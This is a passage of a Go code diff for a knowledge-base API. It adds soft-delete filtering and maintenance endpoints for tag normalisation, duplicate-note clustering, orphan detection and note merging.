_ = observability.Event(ctx, q, "task.status", taskEntID, "info", "api", awaitingSessionID,
|
||||
map[string]any{"status": "executing", "reason": "approval_decided", "decision": status})
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -50,6 +50,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ($1 = '' OR ke.source = $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at DESC
|
||||
LIMIT $2`, source, limit)
|
||||
if err != nil {
|
||||
@@ -82,6 +83,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY e.type`)
|
||||
if err == nil {
|
||||
defer srows.Close()
|
||||
@@ -128,15 +130,19 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
return
|
||||
}
|
||||
|
||||
var title, content, source string
|
||||
var title, content, source, editedBy string
|
||||
var tags []string
|
||||
var updatedAt string
|
||||
var revisions int
|
||||
err = s.pool.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), COALESCE(ke.edited_by,''),
|
||||
ke.tags, ke.updated_at::text,
|
||||
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).
|
||||
Scan(&title, &content, &source, &editedBy, &tags, &updatedAt, &revisions)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||
return
|
||||
@@ -150,8 +156,10 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
||||
"title": title,
|
||||
"content": content,
|
||||
"source": source,
|
||||
"edited_by": editedBy,
|
||||
"tags": tags,
|
||||
"updated_at": updatedAt,
|
||||
"revisions": revisions,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -169,6 +177,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
JOIN entity_types et ON et.name = e.type
|
||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY rank DESC
|
||||
LIMIT $2`,
|
||||
q, limit)
|
||||
@@ -232,6 +241,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
WHERE target.slug = $1
|
||||
AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
AND ke.deleted_at IS NULL
|
||||
UNION
|
||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||
FROM knowledge_entities ke
|
||||
@@ -242,6 +252,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||
WHERE r.valid_to IS NULL
|
||||
AND r.type = 'procedure-for'
|
||||
AND ke.deleted_at IS NULL
|
||||
ORDER BY 2`,
|
||||
entitySlug)
|
||||
if err != nil {
|
||||
|
||||
544
internal/httpapi/knowledge_drift.go
Normal file
@@ -0,0 +1,544 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Drift tooling for the knowledge base — the maintenance half of the wiki.
|
||||
//
|
||||
// These endpoints exist because the knowledge base measurably rots on its
|
||||
// own. Two failure modes are already present in live data:
|
||||
//
|
||||
// - **Duplicate pileup.** upsert_knowledge keys on exact title, so a note
|
||||
// titled "rclone backup live inspection — 2026-07-15 10:08 UTC" and one
|
||||
// titled "... 11:18 UTC" are different notes. A single day of agent
|
||||
// activity produced eight near-identical investigations that should have
|
||||
// been one living page. Nothing surfaced that, so it kept happening.
|
||||
// - **Tag drift.** `oom` and `OOM` were separate tags; so were `422` and
|
||||
// `proton-422`. Each split halves the usefulness of tag navigation, and
|
||||
// neither is visible from any single note.
|
||||
//
|
||||
// normalizeTags (knowledge_write.go) stops new casing splits at the door;
|
||||
// these endpoints clean up what's already there and make the rot visible.
|
||||
|
||||
// serveKnowledgeTags returns the tag index: every tag with its usage count,
|
||||
// plus the distinct casings actually stored. `variants` is the interesting
|
||||
// column — it's how the operator discovers that `oom` and `OOM` are the same
|
||||
// idea filed twice, which no individual note reveals.
|
||||
func (s *Server) serveKnowledgeTags(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT lower(tag) AS norm,
|
||||
count(*) AS uses,
|
||||
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||
WHERE ke.deleted_at IS NULL
|
||||
GROUP BY lower(tag)
|
||||
ORDER BY uses DESC, norm`)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type tagRow struct {
|
||||
Tag string `json:"tag"`
|
||||
Uses int `json:"uses"`
|
||||
Variants []string `json:"variants"`
|
||||
// True when the same tag is stored under more than one casing —
|
||||
// the UI badges these as needing a normalize.
|
||||
Split bool `json:"split"`
|
||||
}
|
||||
items := []tagRow{}
|
||||
for rows.Next() {
|
||||
var t tagRow
|
||||
if err := rows.Scan(&t.Tag, &t.Uses, &t.Variants); err != nil {
|
||||
slog.Error("httpapi: knowledge/tags row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
t.Split = len(t.Variants) > 1
|
||||
items = append(items, t)
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{"items": items})
|
||||
}
|
||||
|
||||
// serveRenameKnowledgeTag rewrites one or more tags to a single target across
|
||||
// every live note — the merge/rename/normalize action behind the tag manager.
|
||||
// Passing several `from` values into one `to` is the merge case
|
||||
// (`{"from":["422","proton-422"],"to":"proton-422"}`); passing one is a plain
|
||||
// rename; passing the mixed-case variants is the normalize case.
|
||||
func (s *Server) serveRenameKnowledgeTag(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
From []string `json:"from"`
|
||||
To string `json:"to"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
to := strings.ToLower(strings.TrimSpace(body.To))
|
||||
from := []string{}
|
||||
for _, f := range body.From {
|
||||
if f = strings.TrimSpace(f); f != "" {
|
||||
from = append(from, f)
|
||||
}
|
||||
}
|
||||
if to == "" || len(from) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "from and to are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
// Rebuild each affected note's tag array: map every `from` member to
|
||||
// `to`, leave everything else alone, then de-duplicate. The dedupe
|
||||
// matters for the merge case — a note tagged both `422` and
|
||||
// `proton-422` would otherwise end up with `proton-422` twice.
|
||||
//
|
||||
// This is a plain UPDATE on knowledge_entities, so trg_knowledge_revision
|
||||
// fires and every affected note gets a revision. A tag merge across 17
|
||||
// notes is exactly the kind of bulk edit worth being able to inspect
|
||||
// afterwards.
|
||||
tag, err := s.pool.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET tags = sub.new_tags, updated_at = now()
|
||||
FROM (
|
||||
SELECT k.entity_id,
|
||||
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||
FROM unnest(k.tags) AS t) AS new_tags
|
||||
FROM knowledge_entities k
|
||||
WHERE k.deleted_at IS NULL
|
||||
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||
) AS sub
|
||||
WHERE ke.entity_id = sub.entity_id`,
|
||||
lowerAll(from), to)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "rename failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
slog.Info("knowledge tags renamed", "from", from, "to", to,
|
||||
"notes", tag.RowsAffected(), "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "notes_updated": tag.RowsAffected()})
|
||||
}
|
||||
|
||||
// serveKnowledgeDuplicates clusters notes whose titles are near-identical.
|
||||
//
|
||||
// Pairwise trigram similarity is computed in SQL (indexed, and the whole
|
||||
// point of pulling in pg_trgm); the grouping is done here in Go. Returning
|
||||
// clusters rather than pairs matters for the real data: the rclone pileup
|
||||
// produces dozens of pairs, which is unreadable, versus one cluster, which
|
||||
// is the actionable unit.
|
||||
//
|
||||
// The grouping uses **complete linkage** — a note joins a cluster only if it
|
||||
// is similar to every member already in it. The obvious implementation
|
||||
// (union-find over the pairs) is single linkage, and on this data it chains
|
||||
// badly: "A~B, B~C" merged notes that were not remotely alike, collapsing
|
||||
// fifteen distinct backup events into one unusable blob. Requiring mutual
|
||||
// similarity keeps clusters tight enough to act on.
|
||||
//
|
||||
// Even so, these are *candidates for review*, never a verdict. The five
|
||||
// "Lifecycle: <verb> a node" runbooks are mutually similar by title and are
|
||||
// five deliberately distinct documents — no threshold distinguishes them
|
||||
// from a genuine duplicate, so merging stays a manual, previewed action.
|
||||
func (s *Server) serveKnowledgeDuplicates(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
// 0.6, tuned against the live data: at 0.45 the "Lifecycle: <verb> a
|
||||
// node" runbooks (five deliberately distinct documents that happen to
|
||||
// share a naming template) formed a false-positive cluster; 0.6 clears
|
||||
// that down to a single borderline pair while keeping every genuine
|
||||
// duplicate cluster (the rclone/apt-audit/uptime pileups) intact.
|
||||
// Tunable per request — the UI exposes this as the review net widens.
|
||||
threshold := 0.6
|
||||
if t := req.URL.Query().Get("threshold"); t != "" {
|
||||
if v, err := strconv.ParseFloat(t, 64); err == nil && v > 0 && v <= 1 {
|
||||
threshold = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, `
|
||||
SELECT a.slug, b.slug, similarity(ka.title, kb.title) AS sim
|
||||
FROM knowledge_entities ka
|
||||
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||
JOIN entities a ON a.id = ka.entity_id
|
||||
JOIN entities b ON b.id = kb.entity_id
|
||||
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||
AND similarity(ka.title, kb.title) > $1
|
||||
ORDER BY sim DESC`, threshold)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type pair struct {
|
||||
A, B string
|
||||
Sim float64
|
||||
}
|
||||
pairs := []pair{}
|
||||
for rows.Next() {
|
||||
var p pair
|
||||
if err := rows.Scan(&p.A, &p.B, &p.Sim); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
pairs = append(pairs, p)
|
||||
}
|
||||
|
||||
// Complete-linkage grouping. `pairs` arrives sorted by similarity
|
||||
// descending, so each new cluster is seeded from the strongest remaining
|
||||
// pair and then only grows with notes that are similar to *everything*
|
||||
// already inside it.
|
||||
sim := make(map[string]float64, len(pairs)*2)
|
||||
key := func(a, b string) string {
|
||||
if a > b {
|
||||
a, b = b, a
|
||||
}
|
||||
return a + "\x00" + b
|
||||
}
|
||||
for _, p := range pairs {
|
||||
sim[key(p.A, p.B)] = p.Sim
|
||||
}
|
||||
linked := func(a, b string) bool { return sim[key(a, b)] > 0 }
|
||||
|
||||
assigned := map[string]bool{}
|
||||
type rawCluster struct {
|
||||
members []string
|
||||
top float64
|
||||
}
|
||||
raw := []rawCluster{}
|
||||
|
||||
for _, p := range pairs {
|
||||
if assigned[p.A] || assigned[p.B] {
|
||||
continue
|
||||
}
|
||||
c := rawCluster{members: []string{p.A, p.B}, top: p.Sim}
|
||||
assigned[p.A], assigned[p.B] = true, true
|
||||
|
||||
// Sweep the remaining pairs for candidates that connect to every
|
||||
// current member. Repeat until a full pass adds nothing, since
|
||||
// admitting one member can qualify another.
|
||||
for grew := true; grew; {
|
||||
grew = false
|
||||
for _, q := range pairs {
|
||||
for _, cand := range []string{q.A, q.B} {
|
||||
if assigned[cand] {
|
||||
continue
|
||||
}
|
||||
ok := true
|
||||
for _, m := range c.members {
|
||||
if !linked(cand, m) {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if ok {
|
||||
c.members = append(c.members, cand)
|
||||
assigned[cand] = true
|
||||
grew = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
groups := map[string][]string{}
|
||||
best := map[string]float64{}
|
||||
for _, c := range raw {
|
||||
root := c.members[0]
|
||||
groups[root] = c.members
|
||||
best[root] = c.top
|
||||
}
|
||||
|
||||
// Re-fetch display detail for the clustered slugs only.
|
||||
type member struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
Size int `json:"size"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
}
|
||||
detail := map[string]member{}
|
||||
if len(groups) > 0 {
|
||||
all := []string{}
|
||||
for _, g := range groups {
|
||||
all = append(all, g...)
|
||||
}
|
||||
drows, derr := s.pool.Query(ctx, `
|
||||
SELECT e.slug, ke.title, e.type, length(ke.content),
|
||||
ke.updated_at::text, COALESCE(ke.edited_by,'')
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = ANY($1) AND ke.deleted_at IS NULL`, all)
|
||||
if derr != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "detail query failed", derr.Error())
|
||||
return
|
||||
}
|
||||
defer drows.Close()
|
||||
for drows.Next() {
|
||||
var m member
|
||||
if err := drows.Scan(&m.Slug, &m.Title, &m.Kind, &m.Size, &m.UpdatedAt, &m.EditedBy); err != nil {
|
||||
slog.Error("httpapi: knowledge/duplicates detail scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
detail[m.Slug] = m
|
||||
}
|
||||
}
|
||||
|
||||
type cluster struct {
|
||||
Members []member `json:"members"`
|
||||
TopSim float64 `json:"top_similarity"`
|
||||
TotalSize int `json:"total_size"`
|
||||
}
|
||||
out := []cluster{}
|
||||
for root, slugs := range groups {
|
||||
c := cluster{TopSim: best[root]}
|
||||
for _, sl := range slugs {
|
||||
if m, ok := detail[sl]; ok {
|
||||
c.Members = append(c.Members, m)
|
||||
c.TotalSize += m.Size
|
||||
}
|
||||
}
|
||||
if len(c.Members) < 2 {
|
||||
continue
|
||||
}
|
||||
// Newest first inside a cluster — the most recent note is usually
|
||||
// the one worth keeping as the merge target.
|
||||
sort.Slice(c.Members, func(i, j int) bool {
|
||||
return c.Members[i].UpdatedAt > c.Members[j].UpdatedAt
|
||||
})
|
||||
out = append(out, c)
|
||||
}
|
||||
// Biggest clusters first: an eight-note pileup deserves attention before
|
||||
// a two-note coincidence.
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
if len(out[i].Members) != len(out[j].Members) {
|
||||
return len(out[i].Members) > len(out[j].Members)
|
||||
}
|
||||
return out[i].TopSim > out[j].TopSim
|
||||
})
|
||||
|
||||
writeJSON(w, map[string]any{"clusters": out, "threshold": threshold})
|
||||
}
|
||||
|
||||
// serveKnowledgeOrphans surfaces notes that have fallen out of every
|
||||
// navigation path — the ones that are technically present but effectively
|
||||
// unreachable, and so quietly stop being maintained.
|
||||
//
|
||||
// Three independent reasons, reported per note (a note can have several):
|
||||
// - untagged: invisible to tag navigation
|
||||
// - unlinked: not `about` any entity, so it never appears on a machine's page
|
||||
// - stale: untouched for 90+ days
|
||||
func (s *Server) serveKnowledgeOrphans(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
staleDays := 90
|
||||
if d := req.URL.Query().Get("stale_days"); d != "" {
|
||||
if v, err := strconv.Atoi(d); err == nil && v > 0 && v <= 3650 {
|
||||
staleDays = v
|
||||
}
|
||||
}
|
||||
|
||||
rows, err := s.pool.Query(ctx, fmt.Sprintf(`
|
||||
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''),
|
||||
ke.updated_at::text,
|
||||
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||
NOT EXISTS (
|
||||
SELECT 1 FROM relationships r
|
||||
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||
AND r.type IN ('documents', 'about')
|
||||
) AS unlinked,
|
||||
(ke.updated_at < now() - interval '%d days') AS stale
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE ke.deleted_at IS NULL
|
||||
ORDER BY ke.updated_at ASC`, staleDays))
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type orphan struct {
|
||||
Slug string `json:"slug"`
|
||||
Title string `json:"title"`
|
||||
Kind string `json:"kind"`
|
||||
EditedBy string `json:"edited_by"`
|
||||
UpdatedAt string `json:"updated_at"`
|
||||
Reasons []string `json:"reasons"`
|
||||
}
|
||||
items := []orphan{}
|
||||
counts := map[string]int{"untagged": 0, "unlinked": 0, "stale": 0}
|
||||
for rows.Next() {
|
||||
var o orphan
|
||||
var untagged, unlinked, stale bool
|
||||
if err := rows.Scan(&o.Slug, &o.Title, &o.Kind, &o.EditedBy, &o.UpdatedAt,
|
||||
&untagged, &unlinked, &stale); err != nil {
|
||||
slog.Error("httpapi: knowledge/orphans row scan failed", "error", err)
|
||||
continue
|
||||
}
|
||||
o.Reasons = []string{}
|
||||
if untagged {
|
||||
o.Reasons = append(o.Reasons, "untagged")
|
||||
counts["untagged"]++
|
||||
}
|
||||
if unlinked {
|
||||
o.Reasons = append(o.Reasons, "unlinked")
|
||||
counts["unlinked"]++
|
||||
}
|
||||
if stale {
|
||||
o.Reasons = append(o.Reasons, "stale")
|
||||
counts["stale"]++
|
||||
}
|
||||
if len(o.Reasons) > 0 {
|
||||
items = append(items, o)
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, map[string]any{
|
||||
"items": items,
|
||||
"counts": counts,
|
||||
"stale_days": staleDays,
|
||||
})
|
||||
}
|
||||
|
||||
// serveMergeKnowledge folds several notes into one: each source's body is
|
||||
// appended to the target under a provenance heading, the union of all tags is
|
||||
// kept, and the sources are soft-deleted.
|
||||
//
|
||||
// Append rather than discard, and soft-delete rather than hard: a merge is a
|
||||
// judgement call made from a similarity score, and the operator needs to be
|
||||
// able to walk it back. The target's pre-merge state is captured by the
|
||||
// revision trigger, so the merge itself is undoable from the History tab.
|
||||
func (s *Server) serveMergeKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
var body struct {
|
||||
Target string `json:"target"`
|
||||
Sources []string `json:"sources"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||
return
|
||||
}
|
||||
if strings.TrimSpace(body.Target) == "" || len(body.Sources) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "target and sources are required", "")
|
||||
return
|
||||
}
|
||||
|
||||
targetID, err := s.resolveKnowledgeEntity(ctx, body.Target)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusNotFound, "target note not found", body.Target)
|
||||
return
|
||||
}
|
||||
_, actorLabel := actorInfo(ctx)
|
||||
|
||||
tx, err := s.pool.Begin(ctx)
|
||||
if err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||
return
|
||||
}
|
||||
defer tx.Rollback(ctx)
|
||||
|
||||
var merged []string
|
||||
var appended strings.Builder
|
||||
tagSet := map[string]bool{}
|
||||
|
||||
for _, srcSlug := range body.Sources {
|
||||
if srcSlug == body.Target {
|
||||
continue // merging a note into itself would duplicate its body
|
||||
}
|
||||
var srcTitle, srcContent, srcUpdated string
|
||||
var srcTags []string
|
||||
err := tx.QueryRow(ctx, `
|
||||
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||
srcSlug).Scan(&srcTitle, &srcContent, &srcTags, &srcUpdated)
|
||||
if err != nil {
|
||||
slog.Warn("knowledge merge: source not found, skipping", "slug", srcSlug)
|
||||
continue
|
||||
}
|
||||
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||
appended.WriteString(srcTitle)
|
||||
appended.WriteString("\n\n*Originally ")
|
||||
appended.WriteString(srcSlug)
|
||||
appended.WriteString(", last updated ")
|
||||
appended.WriteString(srcUpdated)
|
||||
appended.WriteString("*\n\n")
|
||||
appended.WriteString(srcContent)
|
||||
for _, t := range srcTags {
|
||||
tagSet[strings.ToLower(strings.TrimSpace(t))] = true
|
||||
}
|
||||
merged = append(merged, srcSlug)
|
||||
}
|
||||
|
||||
if len(merged) == 0 {
|
||||
writeProblem(w, req, http.StatusBadRequest, "no valid source notes to merge", "")
|
||||
return
|
||||
}
|
||||
|
||||
extraTags := make([]string, 0, len(tagSet))
|
||||
for t := range tagSet {
|
||||
if t != "" {
|
||||
extraTags = append(extraTags, t)
|
||||
}
|
||||
}
|
||||
sort.Strings(extraTags)
|
||||
|
||||
// The array concat + DISTINCT keeps the target's own tags first and adds
|
||||
// only what the sources contribute.
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities
|
||||
SET content = content || $2,
|
||||
tags = ARRAY(SELECT DISTINCT unnest(COALESCE(tags,'{}') || $3::text[])),
|
||||
edited_by = $4,
|
||||
updated_at = now()
|
||||
WHERE entity_id = $1`,
|
||||
targetID, appended.String(), extraTags, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "merge write failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
for _, srcSlug := range merged {
|
||||
if _, err := tx.Exec(ctx, `
|
||||
UPDATE knowledge_entities ke
|
||||
SET deleted_at = now(), edited_by = $2
|
||||
FROM entities e
|
||||
WHERE e.id = ke.entity_id AND (e.slug = $1 OR e.id::text = $1)`,
|
||||
srcSlug, actorLabel); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "source delete failed", err.Error())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if err := tx.Commit(ctx); err != nil {
|
||||
writeProblem(w, req, http.StatusInternalServerError, "commit failed", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
slog.Info("knowledge merged", "target", body.Target, "sources", merged, "actor", actorLabel)
|
||||
writeJSON(w, map[string]any{"ok": true, "merged": merged, "tags_added": extraTags})
|
||||
}
|
||||
|
||||
// lowerAll is the case-folding helper the tag queries compare against.
|
||||
func lowerAll(in []string) []string {
|
||||
out := make([]string, len(in))
|
||||
for i, s := range in {
|
||||
out[i] = strings.ToLower(strings.TrimSpace(s))
|
||||
}
|
||||
return out
|
||||
}
|
||||
659
internal/httpapi/knowledge_write.go
Normal file
@@ -0,0 +1,659 @@
|
||||
package httpapi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"log/slog"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
"github.com/google/uuid"
|
||||
"github.com/jackc/pgx/v5"
|
||||
)
|
||||
|
||||
// Operator-facing write path for the knowledge base. Until this file, the
|
||||
// only way anything reached knowledge_entities was the MCP tool
|
||||
// upsert_knowledge (internal/mcp/server.go) — an agent-only surface. The web
|
||||
// UI could search and read but never create, correct, or remove a note, so
|
||||
// the operator's own knowledge had nowhere to go and an agent mistake had no
|
||||
// fix short of psql.
|
||||
//
|
||||
// All routes here are non-OpenAPI custom routes, consistent with the existing
|
||||
// knowledge read routes (see the carve-out block in server.go): they trade in
|
||||
// raw markdown and ad-hoc aggregates rather than generated schema types.
|
||||
//
|
||||
// Deletion is soft (deleted_at) — see migrations/022_knowledge_revisions.up.sql
|
||||
// for why — so every read path in this file filters on `ke.deleted_at IS NULL`.
|
||||
|
||||
// knowledgeSlugSegmentRe strips a title down to a single slug segment.
|
||||
// Mirrors knowledgeSlugRe in internal/mcp/server.go; duplicated rather than
|
||||
// exported across the package boundary because the two callers namespace
|
||||
// their output differently (see knowledgeSlugFor).
|
||||
var knowledgeSlugSegmentRe = regexp.MustCompile(`[^a-z0-9]+`)
|
||||
|
||||
// knowledgeSlugFor builds `<kind>:<folder>/<title-slug>`. The MCP tool's
|
||||
// equivalent hardcodes the `nomos/` folder; operator-created notes need to
|
||||
// land somewhere else so the navigator tree can tell at a glance who wrote
|
||||
// what, and so an operator note can never collide with an agent note that
|
||||
// happens to share a title.
|
||||
func knowledgeSlugFor(kind, folder, title string) string {
|
||||
s := strings.ToLower(strings.TrimSpace(title))
|
||||
s = knowledgeSlugSegmentRe.ReplaceAllString(s, "-")
|
||||
s = strings.Trim(s, "-")
|
||||
if s == "" {
|
||||
s = "note"
|
||||
}
|
||||
if len(s) > 80 {
|
||||
s = s[:80]
|
||||
}
|
||||
folder = strings.Trim(strings.ToLower(strings.TrimSpace(folder)), "/")
|
||||
folder = knowledgeSlugSegmentRe.ReplaceAllString(folder, "-")
|
||||
folder = strings.Trim(folder, "-")
|
||||
if folder == "" {
|
||||
folder = "operator"
|
||||
}
|
||||
return kind + ":" + folder + "/" + s
|
||||
}
|
||||
|
||||
// validKnowledgeKind mirrors the three entity types that knowledge_entities
|
||||
// rows are allowed to hang off (see upsert_knowledge's own check).
|
||||
func validKnowledgeKind(kind string) bool {
|
||||
switch kind {
|
||||
case "document", "investigation", "runbook":
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntity maps an id-or-slug path segment to the entity id of
|
||||
// a live (non-deleted) knowledge note. Returns pgx.ErrNoRows when there's no
|
||||
// such note, which callers turn into a 404.
|
||||
func (s *Server) resolveKnowledgeEntity(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||
AND ke.deleted_at IS NULL`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// resolveKnowledgeEntityAny is resolveKnowledgeEntity without the
|
||||
// deleted_at filter — for the one read path (revisions) that must still work
|
||||
// on a deleted note. The whole point of soft-delete is that a note's history
|
||||
// stays inspectable after removal (e.g. to confirm what was lost before
|
||||
// restoring it); requiring the note to be live first would defeat that.
|
||||
func (s *Server) resolveKnowledgeEntityAny(ctx context.Context, idOrSlug string) (uuid.UUID, error) {
|
||||
var id uuid.UUID
|
||||
err := s.pool.QueryRow(ctx, `
|
||||
SELECT ke.entity_id
|
||||
FROM knowledge_entities ke
|
||||
JOIN entities e ON e.id = ke.entity_id
|
||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).Scan(&id)
|
||||
return id, err
|
||||
}
|
||||
|
||||
// pathParam pulls a chi URL param and percent-decodes it. Knowledge slugs
|
||||
// contain both ':' and '/' (e.g. "document:containers/101-jellyfin"), so they
|
||||
// reach the handler still encoded — chi.URLParam does no decoding of its own
|
||||
// on manually-registered routes (unlike the OpenAPI-generated ones, which
|
||||
// decode via runtime.BindStyledParameterWithOptions).
|
||||
func pathParam(req *http.Request, name string) (string, error) {
|
||||
return url.PathUnescape(chi.URLParam(req, name))
|
||||
}
|
||||
|
||||
// serveKnowledgeList returns every live note without its body — the backing
|
||||
// data for the wiki navigator tree. Distinct from /knowledge/recent, which
|
||||
// caps at 200 and exists to answer "what changed lately" for the stats view:
|
||||
// the tree needs the complete set, and needs the linked-entity slugs so it
|
||||
// can offer a group-by-entity arrangement without N+1 fetches.
|
||||
//
|
||||
// Body text is deliberately excluded — with ~100 notes averaging ~1 KB the
|
||||
// full payload would be ~100 KB per app open, to render a list that shows
|
||||
// only titles.
|
||||
func (s *Server) serveKnowledgeList(w http.ResponseWriter, req *http.Request) {
|
||||
ctx := req.Context()
|
||||
|
||||
type item struct {
|
||||
ID string `json:"id"`
|
||||
